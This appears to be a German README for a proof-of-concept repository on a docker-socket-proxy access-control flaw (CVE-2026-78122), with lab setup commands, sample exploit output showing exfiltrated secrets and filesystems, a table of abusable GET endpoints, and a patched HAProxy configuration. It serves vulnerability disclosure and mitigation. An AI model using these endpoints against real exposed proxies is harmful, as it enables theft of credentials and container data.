
Proof-of-Concept-Exploit für CVE-2026-78122 zur Demonstration der Exfiltration von Container-Dateisystemen und Umgebungsvariablen über die groben Zugriffsregeln von docker-socket-proxy, plus eine gepatchte HAProxy-Konfiguration.
Tecnativa docker-socket-proxy ≤ 0.5.0 — Unzureichende Granularität der Zugriffskontrolle (CWE-1220)
CVSS 4.0: 8.3 (Hoch) — CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
Der Angriffsvektor ist Adjacent (
AV:A): Der Angreifer benötigt lokale/benachbarte Netzerreichbarkeit zum Proxy – genau deshalb gehört es zur Mitigation, ihn von jeder routbaren Schnittstelle fernzuhalten.
docker-socket-proxy ist ein HAProxy-Frontend für den Docker-Socket, dessen ganzer Zweck darin besteht, abgegrenzten Zugriff mit minimalen Rechten auf die Docker-API zu gewähren. Das übliche „sichere, schreibgeschützte“ Rezept, das Betreiber verwenden, ist:
CONTAINERS=1 # allow listing/inspecting containers
POST=0 # deny everything that mutates state
# every other flag left at its default (0)
Betreiber gehen berechtigterweise davon aus, dass dies schreibgeschützte Container-Metadaten ergibt. Tut es nicht.
In haproxy.cfg wird der gesamte /containers-Namensraum durch eine einzige grobe Präfix-Regel abgesichert:
http-request allow if { path,url_dec -m reg -i ^(/v[\d\.]+)?/containers } { env(CONTAINERS) -m bool }
Dieser reguläre Ausdruck matcht jeden GET-Unterpfad unter /containers, einschließlich der sensiblen Lese-Endpunkte, die nie Teil von „Container auflisten“ sein sollten. Da sie alle GET sind, kann die POST=0-Absicherung sie nicht stoppen:
Nettoeffekt: Mit der „gehärteten“ Konfiguration CONTAINERS=1, POST=0 kann jeder, der den Proxy erreichen kann, Geheimnisse auslesen und das vollständige Dateisystem jedes Containers auf dem Host exfiltrieren.
lab/ vulnerable docker-socket-proxy v0.5.0 + a victim container with planted secrets
exploit/ exploit.sh — end-to-end data-exfiltration PoC
mitigation/ patched haproxy.cfg + compose that denies the sensitive sub-paths
verify.sh one command: stand up both, exploit, print a before/after table
teardown.sh stop everything
loot/ exploit output lands here
Erfordert Docker + Docker Compose und eine POSIX-Shell (Git Bash unter Windows funktioniert).
./verify.sh
Oder Schritt für Schritt:
docker compose -f lab/docker-compose.yml up -d # vulnerable proxy on 127.0.0.1:2375
bash exploit/exploit.sh http://127.0.0.1:2375 # loot lands in ./loot
Der Proxy ist nur an
127.0.0.1gebunden. Einen Docker-Socket-Proxy niemals auf einer routbaren Schnittstelle exponieren.
[+] POST /containers/create -> 403 Forbidden (operator believes they are safe)
Leaked environment variables:
STRIPE_API_KEY=sk_live_FAKE_0000000000000000
DB_PASSWORD=hunter2-from-container-env
[+] Pulled /etc/passwd via /archive
[+] Stole /run/secrets/aws.env via /archive
[+] Exported entire filesystem (8,095,232 bytes) via /export
[+] Retrieved process table via /top and logs via /logs
Jeder der obigen Punkte wurde erlangt, während POST=0 weiterhin in Kraft war.
Der eigentliche Fix: Upgrade auf die gepatchte Version (verfolgt in issue #182 / PR #183) und sich nicht mehr darauf verlassen, dass CONTAINERS=1 allein „schreibgeschützt“ ist.
Dieses Repo enthält außerdem eine direkt einsetzbare gehärtete Konfiguration (mitigation/haproxy.patched.cfg), die explizite deny-Regeln für die gefährlichen Unterpfade vor der groben /containers-Erlaubnis hinzufügt, die jeweils über ein eigenes Flag wieder aktiviert werden können (ALLOW_ARCHIVE, ALLOW_EXPORT, ALLOW_LOGS, ALLOW_TOP):
http-request deny if { ... /containers/[..]/archive } ! { env(ALLOW_ARCHIVE) -m bool }
http-request deny if { ... /containers/[..]/export } ! { env(ALLOW_EXPORT) -m bool }
http-request deny if { ... /containers/[..]/logs } ! { env(ALLOW_LOGS) -m bool }
http-request deny if { ... /containers/[..]/top } ! { env(ALLOW_TOP) -m bool }
Verifiziert vorher/nachher (verify.sh-Ausgabe) — gleiche CONTAINERS=1, POST=0-Konfiguration:
Legitime Listen-/Inspect-Aufrufe funktionieren weiterhin; die Exfiltrations-Primitive werden blockiert.
Betrieblich gilt außerdem: Halte den Proxy von jedem routbaren Netzwerk fern, mounte den Docker-Socket schreibgeschützt und wende das Prinzip der geringsten Rechte an (nur die genauen Flags aktivieren, die ein Nutzer benötigt).
Nur für autorisierte Sicherheitstests und zu Bildungszwecken. Das Labor läuft vollständig auf deinem eigenen Host gegen von dir erstellte Container.
| Endpoint (GET) | Was es preisgibt |
|---|
/containers/{id}/archive?path=… | Beliebiges Lesen von Dateien aus jedem Container |
/containers/{id}/export | Komplettes Container-Dateisystem als tar |
/containers/{id}/logs | stdout/stderr des Containers |
/containers/{id}/top | Prozessliste mit vollständigem argv (kann Anmeldedaten enthalten) |
/containers/{id}/json | Vollständige Konfiguration inkl. Umgebungsvariablen |
| GET-Endpunkt | Verwundbar (:2375) | Geschützt (:2376) |
|---|
/containers/json (Liste) | 200 | 200 |
/containers/{id}/json (inspizieren) | 200 | 200 |
/containers/{id}/archive | 200 | 403 |
/containers/{id}/export | 200 | 403 |
/containers/{id}/logs | 200 | 403 |
/containers/{id}/top | 200 | 403 |